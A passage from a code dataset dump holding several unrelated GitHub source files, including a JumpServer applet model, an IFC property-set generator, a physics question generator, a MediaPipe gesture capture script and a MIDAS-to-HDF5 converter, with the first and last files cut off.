models.BooleanField(default=True, verbose_name=_('Is active'))\n builtin = models.BooleanField(default=False, verbose_name=_('Builtin'))\n protocols = models.JSONField(default=list, verbose_name=_('Protocol'))\n can_concurrent = models.BooleanField(default=True, verbose_name=_('Can concurrent'))\n tags = models.JSONField(default=list, verbose_name=_('Tags'))\n comment = models.TextField(default='', blank=True, verbose_name=_('Comment'))\n hosts = models.ManyToManyField(\n through_fields=('applet', 'host'), through='AppletPublication',\n to='AppletHost', verbose_name=_('Hosts')\n )\n\n class Meta:\n verbose_name = _(\"Applet\")\n\n def __str__(self):\n return self.name\n\n @property\n def path(self):\n if self.builtin:\n return os.path.join(settings.APPS_DIR, 'terminal', 'applets', self.name)\n else:\n return default_storage.path('applets/{}'.format(self.name))\n\n @lazyproperty\n def readme(self):\n readme_file = os.path.join(self.path, 'README.md')\n if os.path.isfile(readme_file):\n with open(readme_file, 'r') as f:\n return f.read()\n return ''\n\n @property\n def manifest(self):\n path = os.path.join(self.path, 'manifest.yml')\n if not os.path.exists(path):\n return None\n with open(path, 'r') as f:\n return yaml.safe_load(f)\n\n @property\n def icon(self):\n path = os.path.join(self.path, 'icon.png')\n if not os.path.exists(path):\n return None\n return os.path.join(settings.MEDIA_URL, 'applets', self.name, 'icon.png')\n\n @staticmethod\n def validate_pkg(d):\n files = ['manifest.yml', 'icon.png', 'setup.yml']\n for name in files:\n path = os.path.join(d, name)\n if not os.path.exists(path):\n raise ValidationError({'error': _('Applet pkg not valid, Missing file {}').format(name)})\n\n with open(os.path.join(d, 'manifest.yml'), encoding='utf8') as f:\n manifest = yaml_load_with_i18n(f)\n\n if not manifest.get('name', ''):\n raise ValidationError({'error': 'Missing name in manifest.yml'})\n return manifest\n\n def load_platform_if_need(self, d):\n from assets.serializers import PlatformSerializer\n from assets.const import CustomTypes\n\n if not os.path.exists(os.path.join(d, 'platform.yml')):\n return\n try:\n with open(os.path.join(d, 'platform.yml'), encoding='utf8') as f:\n data = yaml_load_with_i18n(f)\n except Exception as e:\n raise ValidationError({'error': _('Load platform.yml failed: {}').format(e)})\n\n if data['category'] != 'custom':\n raise ValidationError({'error': _('Only support custom platform')})\n\n try:\n tp = data['type']\n except KeyError:\n raise ValidationError({'error': _('Missing type in platform.yml')})\n\n if not data.get('automation'):\n data['automation'] = CustomTypes._get_automation_constrains()['*']\n\n created_by = 'Applet:{}'.format(self.name)\n instance = self.get_related_platform()\n s = PlatformSerializer(data=data, instance=instance)\n s.add_type_choices(tp, tp)\n s.is_valid(raise_exception=True)\n p = s.save()\n p.created_by = created_by\n p.save(update_fields=['created_by'])\n\n @classmethod\n def install_from_dir(cls, path, builtin=True):\n from terminal.serializers import AppletSerializer\n\n manifest = cls.validate_pkg(path)\n name = manifest['name']\n instance = cls.objects.filter(name=name).first()\n serializer = AppletSerializer(instance=instance, data=manifest)\n serializer.is_valid(raise_exception=True)\n instance = serializer.save(builtin=builtin)\n instance.load_platform_if_need(path)\n\n pkg_path = default_storage.path('applets/{}'.format(name))\n if os.path.exists(pkg_path):\n shutil.rmtree(pkg_path)\n shutil.copytree(path, pkg_path)\n return instance, serializer\n\n def select_host(self, user, asset):\n hosts = self.hosts.filter(is_active=True)\n hosts = [host for host in hosts if host.load != 'offline']\n if not hosts:\n return None\n\n spec_label = asset.labels.filter(name__in=['AppletHost', '发布机']).first()\n if spec_label:\n host = [host for host in hosts if host.name == spec_label.value]\n if host:\n return host[0]\n\n prefer_key = 'applet_host_prefer_{}'.format(user.id)\n prefer_host_id = cache.get(prefer_key, None)\n pref_host = [host for host in hosts if host.id == prefer_host_id]\n if pref_host:\n host = pref_host[0]\n else:\n host = random.choice(hosts)\n cache.set(prefer_key, host.id, timeout=None)\n return host\n\n def get_related_platform(self):\n created_by = 'Applet:{}'.format(self.name)\n platform = Platform.objects.filter(created_by=created_by).first()\n return platform\n\n @staticmethod\n def random_select_prefer_account(user, host, accounts):\n msg = 'Applet host remain public accounts: {}: {}'.format(host.name, len(accounts))\n if len(accounts) == 0:\n logger.error(msg)\n return None\n prefer_host_account_key = 'applet_host_prefer_account_{}_{}'.format(user.id, host.id)\n prefer_account_id = cache.get(prefer_host_account_key, None)\n prefer_account = None\n if prefer_account_id:\n prefer_account = accounts.filter(id=prefer_account_id).first()\n if prefer_account:\n account = prefer_account\n else:\n account = random.choice(accounts)\n cache.set(prefer_host_account_key, account.id, timeout=None)\n return account\n\n def select_host_account(self, user, asset):\n # 选择激活的发布机\n host = self.select_host(user, asset)\n if not host:\n return None\n host_concurrent = str(host.deploy_options.get('RDS_fSingleSessionPerUser', 0)) == '0'\n can_concurrent = (self.can_concurrent or self.type == 'web') and host_concurrent\n\n accounts = host.accounts.all().filter(is_active=True, privileged=False)\n private_account = accounts.filter(username='js_{}'.format(user.username)).first()\n accounts_using_key_tmpl = 'applet_host_accounts_{}_{}'\n\n if private_account and can_concurrent:\n account = private_account\n else:\n using_keys = cache.keys(accounts_using_key_tmpl.format(host.id, '*')) or []\n accounts_username_used = list(cache.get_many(using_keys).values())\n logger.debug('Applet host account using: {}: {}'.format(host.name, accounts_username_used))\n\n # 优先使用 private account\n if private_account and private_account.username not in accounts_username_used:\n account = private_account\n else:\n accounts = accounts.exclude(username__in=accounts_username_used) \\\n .filter(username__startswith='jms_')\n account = self.random_select_prefer_account(user, host, accounts)\n if not account:\n return\n ttl = 60 * 60 * 24\n lock_key = accounts_using_key_tmpl.format(host.id, account.username)\n cache.set(lock_key, account.username, ttl)\n\n return {\n 'host': host,\n 'account': account,\n 'lock_key': lock_key,\n 'ttl': ttl\n }\n\n def delete(self, using=None, keep_parents=False):\n platform = self.get_related_platform()\n if platform and platform.assets.count() == 0:\n platform.delete()\n return super().delete(using, keep_parents)\n\n\nclass AppletPublication(JMSBaseModel):\n applet = models.ForeignKey('Applet', on_delete=models.CASCADE, related_name='publications',\n verbose_name=_('Applet'))\n host = models.ForeignKey('AppletHost', on_delete=models.CASCADE, related_name='publications',\n verbose_name=_('Hosting'))\n status = models.CharField(max_length=16, default='pending', verbose_name=_('Status'))\n comment = models.TextField(default='', blank=True, verbose_name=_('Comment'))\n\n class Meta:\n unique_together = ('applet', 'host')\n","repo_name":"Tuobayou/jumpserver","sub_path":"apps/terminal/models/applet/applet.py","file_name":"applet.py","file_ext":"py","file_size_in_byte":9897,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"5005776372","text":"import random\nimport math\n\nqns = open('./questions.txt', 'w') \nans = open('./answers.txt','w')\nno_of_samples = 1000000\n# no_of_samples = 20\n\nfor i in range(no_of_samples):\n dipole = random.randint(1,200)\n E = random.randint(1,200)\n theta = random.randint(0,179)\n q = \"An Electric dipole with dipole moment \"+str(dipole)+\" x 10^(-9) C-m is aligned at \"+str(theta)+\" degrees with the direction of a uniform electric field of magnitude \"+str(E)+\" x 10^4 N C-1. Calculate the magnitude of torque acting on the dipole?\\n\"\n a = \"{:.1e}\".format(dipole*E*math.sin(theta*(math.pi/180))*(10**(-5))) + \" newton-m\\n\"\n qns.write(q)\n ans.write(a)\n # print(q)\n # print(a)\nqns.close()\nans.close()\n","repo_name":"misterpawan/scimat2","sub_path":"science/ElectricChargesAndFields/DipoleTorque/DipoleTorque.py","file_name":"DipoleTorque.py","file_ext":"py","file_size_in_byte":708,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"48"} +{"seq_id":"9886230061","text":"import ifcopenshell\nimport json\nfrom applicable_classes import applicable_classes\nfrom api_request import get_blender_content\n\n#mapping dictionary to convert revit data types to ifc data types\nrevit_ifc_type_mapping = {\n **dict.fromkeys([\"Text\",\"Invalid\",\"Material\",\"Funktion\"], \"IfcLabel\"),\n **dict.fromkeys([\"MassDensity\",\"Length\",\"LENGTH\",\"Number\",\"Area\",\"Angle\"], \"IfcReal\"),\n \"YesNo\":\"IfcBoolean\",\n \"Integer\":\"IfcInteger\"\n}\n\n#mapping dictionary to convert revit data types to python data types\nrevit_py_type_mapping = {\n **dict.fromkeys([\"Text\",\"Invalid\",\"Material\",\"Funktion\"], str), \n **dict.fromkeys([\"MassDensity\",\"Length\",\"LENGTH\",\"Number\",\"Area\",\"Angle\"], float),\n \"YesNo\":bool,\n \"Integer\":int\n}\n\n#I should change these filepaths to relative file paths or integrate into Blender Plugin\nifc_filepath = \"C:/Users/vpaji/AppData/Roaming/Blender Foundation/Blender/3.0/scripts/addons/blenderbim/bim/data/pset/porr.ifc\"\n#json_filepath = \"C:/Users/vpaji/OneDrive/1. Professional/9. Porr/PORR Parameter/parameters_template.json \"\nporr_json = get_blender_content()\n\n#porr_json = open(json_filepath, encoding=\"utf-8\")\n\n#return JSON object\ntemplate = json.loads(porr_json)\n\n#create an empty ifc file\nifc = ifcopenshell.file()\n\n#start looping through the template json file\nfor typ in template:\n typ_name = typ[\"name\"]\n applicable_entities = applicable_classes(typ_name)\n \n #loop through all bauteile\n for bauteil in typ[\"Elements\"]:\n bauteil_name = bauteil[\"name\"]\n pset_name = f\"porr_{typ_name}_{bauteil_name}\" \n \n #create an IfcPropertySetTemplate instance\n pset_template = ifc.create_entity(\n \"IFCPROPERTYSETTEMPLATE\",\n GlobalId=ifcopenshell.guid.new(), \n Name=pset_name, \n TemplateType=\"PSET_TYPEDRIVENOVERRIDE\",\n ApplicableEntity=\",\".join(applicable_entities)\n )\n \n #loop through all parameters\n for parameter in bauteil[\"parameters\"]:\n prop_name = parameter[\"revitname\"]\n revit_parameter_type = parameter[\"parametertype\"]\n #prop_description = parameter[\"name\"].replace(\"'\", \"&apos\")\n prop_description = parameter[\"name\"]\n if \"ri:\" in prop_name:\n continue\n if len(parameter[\"values\"]) < 1 or revit_parameter_type == \"YesNo\":\n template_type = \"P_SINGLEVALUE\"\n else:\n template_type = \"P_ENUMERATEDVALUE\"\n \n revit_parameter_type = parameter[\"parametertype\"]\n primary_measure_type = revit_ifc_type_mapping[revit_parameter_type]\n \n #create an IfcSimplePropertyTemplate instance\n prop_template = ifc.create_entity(\n \"IFCSIMPLEPROPERTYTEMPLATE\",\n GlobalId=ifcopenshell.guid.new(),\n Name=prop_name,\n Description=prop_description,\n TemplateType=template_type,\n PrimaryMeasureType=primary_measure_type,\n )\n \n #assign the property template to the pset template\n if pset_template.HasPropertyTemplates:\n pset_template.HasPropertyTemplates = pset_template.HasPropertyTemplates+(prop_template,)\n else:\n pset_template.HasPropertyTemplates = (prop_template,)\n \n \n if template_type == \"P_ENUMERATEDVALUE\":\n py_type = revit_py_type_mapping[revit_parameter_type]\n \n prop_enum = ifc.create_entity(\n \"IFCPROPERTYENUMERATION\",\n Name=f\"{prop_description}_enum\",\n #EnumerationValues=tuple(ifc.create_entity(primary_measure_type, py_type(v['value'].replace('\"','"'))) for v in parameter[\"values\"])\n EnumerationValues=tuple(ifc.create_entity(primary_measure_type, py_type(v['value'])) for v in parameter[\"values\"])\n )\n \n #assign the enumeration to the property template\n prop_template.Enumerators = prop_enum\n \n# Closing json file\n# porr_json.close()\n\n#write ifc file\nifc.write(ifc_filepath)\nprint(\"Finished\")\n","repo_name":"vulevukusej/BlenderBIM","sub_path":"standalone scripts/generate IFC Property Set Template/ifc_pset_generator_v4_ifcopenshell.py","file_name":"ifc_pset_generator_v4_ifcopenshell.py","file_ext":"py","file_size_in_byte":4239,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"48"} +{"seq_id":"44590253544","text":"# -*- coding: utf-8 -*-\n\nimport sys\nfrom scrapy_venom.command_line import runner\n\n\n__all__ = ['execute_command']\n\n\ndef execute_command(argv=None):\n if not argv:\n argv = sys.argv\n r = runner.ManagementRunner(argv)\n r.execute()\n","repo_name":"intelivix/intelivix-crawl","sub_path":"scrapy_venom/command_line/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":242,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"71596011025","text":"import cv2\n\nimport glob\n\ndef convert_frames_to_video(vipathIn, vipathOut, fps):\n img_array = []\n for filename in sorted(glob.glob(vipathIn)):\n img = cv2.imread(filename)\n height, width, layers = img.shape\n size = (width, height)\n img_array.append(img)\n\n out = cv2.VideoWriter(vipathOut, cv2.VideoWriter_fourcc(*'DIVX'), fps, size)\n\n for i in range(len(img_array)):\n out.write(img_array[i])\n out.release()\n\ndef main():\n convert_frames_to_video('./output/*.png', './output/videos/output.mp4', 5)\n\nif __name__ == '__main__':\n main()\n\n\n","repo_name":"BhuvaneshwariBhaskaran/videoGaze","sub_path":"frame_to_video.py","file_name":"frame_to_video.py","file_ext":"py","file_size_in_byte":592,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"43790204435","text":"# Дано кубическое уравнение ax3+bx2+cx+d=0 (a≠0). Известно, что у этого уравнения есть ровно один\n# корень. Требуется его найти.\n# Формат ввода\n# Во входном файле через пробел записаны четыре целых числа: -1000 <= a, b, c, d <= 10000.\n# Формат вывода\n# Выведите единственный корень уравнения с точностью не менее 5 знаков после десятичной точки.\n\n\ndef func3(x):\n return a * x**3 + b * x**2 + c * x + d\n\n\ndef lbinpoisk(l, r, eps):\n while l + eps < r:\n m = (l + r) / 2\n if func3(m) >= 0:\n r = m\n else:\n l = m\n return l\n\n\ndef rbinpoisk(l, r, eps):\n while l + eps < r:\n m = (l + r) / 2\n if func3(m) <= 0:\n r = m\n else:\n l = m\n return l\n\na, b, c, d = [int(x) for x in input().split()]\nif func3(100000) > func3(-100000):\n print(lbinpoisk(-100000, 100000, 0.00000001))\nelse:\n print(rbinpoisk(-100000, 100000, 0.00000001))\n","repo_name":"ann74/algorithms_practice","sub_path":"Con2.0_divB/bin_search/task_c.py","file_name":"task_c.py","file_ext":"py","file_size_in_byte":1159,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"34388151410","text":"import torch\nfrom torch.autograd import Variable\n\n\nx = Variable(torch.ones(2,2), requires_grad = True)\n#torch.ones(2,2) = 2x2 matrix of 1s\n#requires_grad = requires gradient???\n\nprint(x)\n\ny = x + 2\n\nprint(y)\n\nprint(y.grad_fn)\n\nz = y * y * 3\nout = z.mean()\n\nprint(z, out)\n\n#Backpropagation\n\n#out.backward() = out.backward(torch,Tensor([1.0]))\nout.backward()\n#print gradients d(o)/dx\nprint(x.grad)\n\n\nx = torch.randn(3)\nx = Variable(x, requires_grad = True)\n\ny = x*2\nwhile y.data.norm() < 1000:\n y = y*2\n\nprint(y)\n\n","repo_name":"Rhagos/learning-pytorch","sub_path":"autograd_tut.py","file_name":"autograd_tut.py","file_ext":"py","file_size_in_byte":515,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"12458754995","text":"import pandas as pd\nimport re\nimport sys\nimport math\nimport numpy as np\nfrom numpy import array\nfrom nltk.corpus import stopwords\nfrom sklearn.feature_extraction.text import CountVectorizer\nimport pickle\nimport mysql.connector\nfrom mysql.connector import errorcode\nimport nltk.stem\nenglish_stemmer = nltk.stem.SnowballStemmer('english')\nnp.set_printoptions(threshold=sys.maxsize)\n\ntry:\n\tcnx = mysql.connector.connect(user='root', password='',\n\t\t\t\t\t\t\t\t host='127.0.0.1',\n\t\t\t\t\t\t\t\t database='ta-quran-0-4800')\n\tcursor = cnx.cursor(buffered=True)\nexcept mysql.connector.Error as err:\n\tif err.errno == errorcode.ER_ACCESS_DENIED_ERROR:\n\t\tprint(\"Something is wrong with your user name or password\")\n\telif err.errno == errorcode.ER_BAD_DB_ERROR:\n\t\tprint(\"Database does not exist\")\n\telse:\n\t\tprint(err)\n\nclass StemmedCountVectorizer(CountVectorizer):\n def build_analyzer(self):\n analyzer = super(StemmedCountVectorizer, self).build_analyzer()\n return lambda doc: ([english_stemmer.stem(w) for w in analyzer(doc)])\n\n#fungsi getFeatures\ndef getFeatures(data):\n\tvectorizer \t\t= StemmedCountVectorizer( \n\t\t\t\t\t\t\t\t\t\t\t # min_df\t\t= 1,\n\t\t\t\t\t\t\t\t\t\t\t analyzer\t\t= \"word\",\n\t\t\t\t\t\t\t\t\t\t\t tokenizer \t= None,\n\t\t\t\t\t\t\t\t\t\t\t preprocessor \t= None,\n\t\t\t\t\t\t\t\t\t\t\t stop_words\t= None,\n\t\t\t\t\t\t\t\t\t\t\t max_features\t= 15000\n\t\t\t\t\t\t\t\t\t\t\t\t)\n\n\tdataFeatures \t= vectorizer.fit_transform(data)\n\tdataFeatures\t= dataFeatures.toarray()\n\tvocab \t\t\t= vectorizer.get_feature_names()\n\tdist \t\t\t= np.sum(dataFeatures, axis=0)\n\n\twordArray \t\t= []\n\tdataCount \t\t= []\n\t\n\tfor tag, count in zip(vocab,dist):\n\t\twordArray.append(tag)\n\t\tdataCount.append(count)\n\treturn dataCount, wordArray\n\n# get semua data class \ndef getAllClassList():\n\tclassName = []\n\tquery = (\"SELECT DISTINCT level_1 from ta_kelas\")\n\tcursor.execute(query,)\n\n\ttemp = []\n\tfor level_1, in cursor:\n\t\ttemp.append(level_1)\n\treturn temp\n\n# untuk get berapa mutual yang akan digunakan\ndef getMutual(thresh):\n\tquery = (\"SELECT parent, child, prob FROM ta_mutual ORDER BY prob DESC\")\n\tcursor.execute(query)\n\n\tp = []\n\tc = []\n\tfor parent, child, prob in cursor:\n\t\tif (prob >= thresh):\n\t\t\tif ((parent not in p) and (child not in c)) and ((parent not in c) and (child not in p)):\n\t\t\t\tp.append(parent)\n\t\t\t\tc.append(child)\n\treturn p, c\n\ndef preProcessing(terjemahan):\n\tletters_only\t= re.sub(\"[^a-zA-Z]\",\" \",terjemahan)\n\twords \t\t\t= letters_only.lower().split()\n\tstops \t\t\t= set(stopwords.words(\"english\"))\n\treal_words \t\t= [w for w in words if not w in stops]\n\treturn(\" \".join(real_words))\n\n# ambil data test\ndef makeDataSet(rangeawal, rangeakhir):\n\tquery \t= (\"SELECT id, teksayat FROM ta_ayat WHERE id > %s AND id <= %s\")\n\tcursor.execute(query,(rangeawal,rangeakhir))\n\n\tid_data_set\t\t\t= []\n\tdata_training\t\t= []\n\trows = cursor.fetchall()\n\n\tfor row in rows:\n\t\tid_data_set.append(row[0])\n\t\tdata_training.append(row[1])\n\n\tsz_dtTraining \t= len(data_training)\n\tclear_data \t\t= []\n\n\tfor i in range(0,sz_dtTraining):\n\t\tclear_data.append(preProcessing(data_training[i]))\n\t\t\n\treturn id_data_set, clear_data\n\n# misal input ayat \"beneficent merciful\"\ndef posterior(arrCh, id_data_set, data_test, level_1):\n\tfor i in range(0, len(data_test)):\n\t\tif data_test[i] != '':\n\t\t\tquery\t= (\"SELECT SUM(TF), SUM(FF) FROM ta_likelihood WHERE level_1 = %s\")\n\t\t\tcursor.execute(query,(level_1,))\n\t\t\tprob \t= cursor.fetchone()\n\n\t\t\tsumAllTrue = prob[0]\n\t\t\tsumAllFalse = prob[1]\n\n\t\t\tcount, splitTrain \t\t= getFeatures([data_test[i]])\n\n\t\t\tfor j in range(0, len(splitTrain)):\n\t\t\t\tquery\t= (\"SELECT TT, TF, FT, FF FROM ta_likelihood WHERE word = %s AND level_1 = %s\")\n\t\t\t\tcursor.execute(query,(splitTrain[j], level_1))\n\t\t\t\tcpt\t= cursor.fetchone()\n\n\t\t\t\tTTWord\t= cpt[0] * count[j]\n\t\t\t\tTFWord\t= cpt[1] * count[j]\n\t\t\t\tFTWord\t= cpt[2] * count[j]\n\t\t\t\tFFWord\t= cpt[3] * count[j]\n\n\t\t\t\tif splitTrain[j] in arrCh:\n\t\t\t\t\tsumAllTrue\t= (sumAllTrue - TFWord)\n\t\t\t\t\tsumAllFalse\t= (sumAllFalse - FFWord)\n\n\t\t\t\telif splitTrain[j] not in arrCh:\n\t\t\t\t\tsumAllTrue\t= (sumAllTrue - TFWord) + TTWord\n\t\t\t\t\tsumAllFalse\t= (sumAllFalse - FFWord) + FTWord\n\n\t\t\tfor k in range(0, len(arrCh)):\n\t\t\t\tquery\t= (\"SELECT parent, child, TTT, TTF, TFT, TFF, FTT, FTF, FFT, FFF FROM ta_cpt_split WHERE child = %s and level_1 = %s\")\n\t\t\t\tcursor.execute(query,(arrCh[k], level_1))\n\t\t\t\tprob \t= cursor.fetchone()\n\t\t\t\t\t\t\n\t\t\t\tTTT\t\t= prob[2] * count[j]\n\t\t\t\tTTF \t= prob[3] * count[j]\n\t\t\t\tTFT \t= prob[4] * count[j]\n\t\t\t\tTFF \t= prob[5] * count[j]\n\t\t\t\tFTT \t= prob[6] * count[j]\n\t\t\t\tFTF \t= prob[7] * count[j]\n\t\t\t\tFFT \t= prob[8] * count[j]\n\t\t\t\tFFF\t\t= prob[9] * count[j]\n\t\t\t\t\t\n\t\t\t\tif (prob[0] in splitTrain) and (prob[1] in splitTrain):\n\t\t\t\t\tsumAllTrue\t= sumAllTrue + TTT\n\t\t\t\t\tsumAllFalse\t= sumAllFalse + FTT\n\t\t\t\telif (prob[0] in splitTrain) and (prob[1] not in splitTrain):\n\t\t\t\t\tsumAllTrue\t= sumAllTrue + TTF\n\t\t\t\t\tsumAllFalse\t= sumAllFalse + FTF\n\t\t\t\telif (prob[0] not in splitTrain) and (prob[1] in splitTrain):\n\t\t\t\t\tsumAllTrue\t= sumAllTrue + TFT\n\t\t\t\t\tsumAllFalse\t= sumAllFalse + FFT\n\t\t\t\telif (prob[0] not in splitTrain) and (prob[1] not in splitTrain):\n\t\t\t\t\tsumAllTrue\t= sumAllTrue + TFF\n\t\t\t\t\tsumAllFalse\t= sumAllFalse + FFF\n\n\t\t\tquery\t= (\"SELECT prior_yes, prior_no FROM ta_prior WHERE level_1 = %s\")\n\t\t\tcursor.execute(query,(level_1,))\n\t\t\tprior \t= cursor.fetchone()\n\n\t\t\tposterior_yes \t= sumAllTrue + prior[0]\n\t\t\tposterior_no\t= sumAllFalse + prior[1]\n\t\t\t\n\t\t\tif posterior_yes > posterior_no:\n\t\t\t\tquery = (\"INSERT INTO ta_newoutput_split VALUES (%s, %s)\")\n\t\t\t\ttry:\n\t\t\t\t\tcursor.execute(query,(id_data_set[i], level_1))\n\t\t\t\t\tcnx.commit()\n\t\t\t\texcept:\n\t\t\t\t\tcnx.rollback()\n \n# MAIN\nrangeawal\t= 4800\nrangeakhir\t= 6236\n\narrKelas\t\t\t\t\t= getAllClassList()\nid_data_set, data_test\t\t= makeDataSet(rangeawal, rangeakhir)\narrCh, arrP\t\t\t\t\t= getMutual(4)\n\nj = 0\nfor i in range(0, len(arrKelas)):\n\tj = j+1\n\tprint (arrKelas[i])\n\n\tlevel_1 = arrKelas[i]\n\tposterior(arrCh, id_data_set, data_test, level_1)","repo_name":"almirakhonsa/KlasifikasiAyatQur-an","sub_path":"EngineTest.py","file_name":"EngineTest.py","file_ext":"py","file_size_in_byte":5802,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"38261595533","text":"import cv2\nimport mediapipe as mp\nimport numpy as np\nfrom mediapipe.framework.formats import landmark_pb2\n\nfrom utils.base_dir import BASE_DIR\n\nmp_drawing = mp.solutions.drawing_utils\nmp_drawing_styles = mp.solutions.drawing_styles\nmp_hands = mp.solutions.hands\n\nGESTURE_NAME = input(\"Gesture name: \")\n\n\ndef main():\n gesture_path = BASE_DIR / \"data\" / GESTURE_NAME\n gesture_path.mkdir(exist_ok=True, parents=True)\n DO_CAPTURE = False\n\n count = int(len(list(gesture_path.iterdir())) / 2)\n\n cap = cv2.VideoCapture(0)\n with mp_hands.Hands(\n model_complexity=0,\n min_detection_confidence=.8,\n min_tracking_confidence=.7\n ) as hands:\n while cap.isOpened():\n success, image = cap.read()\n if not success:\n print(\"not opened\")\n continue\n image = cv2.flip(image, 1)\n image.flags.writeable = False\n image = cv2.cvtColor(image, cv2.COLOR_BGR2RGB)\n results = hands.process(image)\n\n image.flags.writeable = True\n image = cv2.cvtColor(image, cv2.COLOR_RGB2BGR)\n if results.multi_hand_landmarks:\n hand_landmarks: landmark_pb2.NormalizedLandmarkList\n for i, hand_landmarks in enumerate(results.multi_hand_landmarks):\n mp_drawing.draw_landmarks(\n image,\n hand_landmarks,\n mp_hands.HAND_CONNECTIONS,\n mp_drawing_styles.get_default_hand_landmarks_style(),\n mp_drawing_styles.get_default_hand_connections_style()\n )\n if DO_CAPTURE:\n landmark_array = np.zeros(42)\n for i in range(21):\n landmark_array[i * 2] = hand_landmarks.landmark[i].x\n landmark_array[i * 2 + 1] = hand_landmarks.landmark[i].y\n\n np.save(f\"{gesture_path}/{count:05}.npy\", landmark_array)\n cv2.imwrite(f\"{gesture_path}/{count:05}.png\", image)\n count += 1\n\n image = cv2.putText(image, f\"Gesture Name: {GESTURE_NAME}\", (10, 20), cv2.FONT_HERSHEY_SIMPLEX, 1, (255, 255, 255),\n 2, cv2.LINE_AA)\n image = cv2.putText(image, f\"Capture: {DO_CAPTURE}\", (10, 50), cv2.FONT_HERSHEY_SIMPLEX, 1, (255, 255, 255),\n 2, cv2.LINE_AA)\n cv2.imshow(\"Hands\", image)\n\n pressed_key = cv2.waitKey(5) & 0xFF\n if pressed_key == 99:\n DO_CAPTURE = not DO_CAPTURE\n elif pressed_key == 27:\n break\n cap.release()\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"DerSchneemann94/Sammlung-Code","sub_path":"Studium/Semester7/22w-me-teama/src/gestureClassifier/src/dynamic_dsgen.py","file_name":"dynamic_dsgen.py","file_ext":"py","file_size_in_byte":2791,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"12614123945","text":"#!/usr/bin/env python\n# midas to hdf5 converter program\n# Thomas Lindner\n# Dec 2019\n#\n# Edits made by Ashley Ferreira, Feb 2020\n#\n# Writes to .hdf5 in the following way:\n# group=event / dataset=bank\n\n\nimport sys\nimport numpy as np\nimport h5py\n\nsys.path.append(\"/home/mpmttest/online/dt5743/midas2hdf5\")\nimport TDT743_decoder\nfrom datetime import date, datetime\n\n\nsys.path.append(\"/home/mpmttest/packages/midas/python\")\nimport midas.file_reader\n\n# call this python file in cmd as follows:\n# python a_midas2hdf5 ~/online/data/run_____sub000.mid.gz \"run___\"\n# fill in the blanks with run number from MIDAS\nfilename = sys.argv[1]\nwritename = sys.argv[2]\n\n# Open MIDAS file\nmfile = midas.file_reader.MidasFile(filename)\n\nevent = mfile.read_next_event()\n\n# Create an hdf5 file, and open it for writting\nf_hdf5=h5py.File(\"\".join([writename,\"ScanEvents.hdf5\"]),\"w\")\n\n# initialize list of temperature sensors data\nlatest_temp=[]\n\n# initilize list of motor positons\nmoto_pos=[]\n\n# initialize variables used to test if motors are running\nmoto_exists=False\nmoto_hit=False\n\n# initialize scan value\nscan_pos=0\n\ncounter=0\n\n# Iterate over all events in MIDAS file\n# as we read each event, we write it to our hfd5 file\nwhile event:\n # Create hdf5 groups to store information of each event\n counter+=1\n\n # create group with event number as its name\n grp=f_hdf5.create_group(str(counter))\n #grp=f_hdf5.create_group(\"\".join([\"Event #\",str(counter)]))\n\n bank_names = \", \".join(b.name for b in event.banks.values())\n #print(\"Event # %s of type ID %s contains banks %s\" % (event.header.serial_number,event.header.event_id, bank_names))\n\n # add relevant metadata to hdf5 group (attributes)\n grp.attrs[\"id\"]=event.header.event_id\n grp.attrs[\"bank names\"]=bank_names\n grp.attrs[\"number of banks\"]=len(bank_names)\n grp.attrs[\"serial number\"]=event.header.serial_number\n grp.attrs[\"event time tag\"]=event.header.timestamp # time in seconds since 1.1.1970 00:00:00 UTC\n\n # tells us if we have already read in the first entry\n hit_first=False\n\n # interate though the banks\n for bank_name, bank in event.banks.items():\n # print first entry in the bank\n if hit_first==False:\n hit_first=True\n print(\"The first entry in bank %s is %x length: %i %s\"\n % (bank_name, bank.data[0],len(bank.data),type(bank.data[0]).__name__))\n\n # update temperature list as new sensor data comes in\n if bank_name==\"TEMP\":\n latest_temp=bank.data\n\n # update motor position xy values as new motor data comes in\n elif bank_name==\"MOTO\":\n # if a MOTO bank value hasn't been read in before,\n # initialize the xy motor position to the bank values\n if moto_hit==False:\n moto_pos=[bank.data[0],bank.data[1]]\n\n # if MOTO bank has been hit before but the motor values\n # are not changing, assume motors are not running\n # (right now, motors aren't running but the MOTO bank returns\n # [1, 0] over and over)\n #\n # if the motor bank values aren't changing, assume the motors\n # are running and store the latest xy positon in moto_pos\n if moto_hit==True:\n if moto_pos!=[bank.data[0],bank.data[1]]:\n moto_exists=True\n moto_pos=[bank.data[0],bank.data[1]]\n\n # update scan value as new scan data comes in\n elif bank_name==\"SCAN\":\n scan_pos=float(bank.data[1])\n\n # if the current bank is the digitizer bank then initialize\n # a new data set under this group for the event where you store\n # the digitizer data as an array and the information from previous\n # banks described as metadata attached to the digitizer dataset\n elif bank_name==\"43FS\":\n # use digitizer decoder program to return important formatted data\n file_todecode=TDT743_decoder.TDT743_decoder(bank.data, bank_name)\n important_bank, ch0_arr, ch1_arr, number_groups, num_sample_per_group, group_mask=file_todecode.decoder()\n\n # create hdf5 dataset for single PMT\n dset=grp.create_dataset(\"ch0\", ch0_arr.shape, data=ch0_arr)\n #dset=grp.create_dataset(\"ch1\", ch1_arr.shape, data=ch1_arr)\n\n # attach relevant metadata to data set (attributes)\n dset.attrs[\"name\"]=bank_name\n dset.attrs[\"number of groups\"]=number_groups\n dset.attrs[\"samples per group\"]=num_sample_per_group\n dset.attrs[\"group mask\"]=group_mask\n dset.attrs[\"temp\"]=latest_temp\n dset.attrs[\"scan position\"]=scan_pos\n\n if moto_exists:\n dset.attrs[\"motors running\"]=True\n dset.attrs[\"moto position\"]=moto_pos\n else:\n dset.attrs[\"motors running\"]=False\n\n\n event = 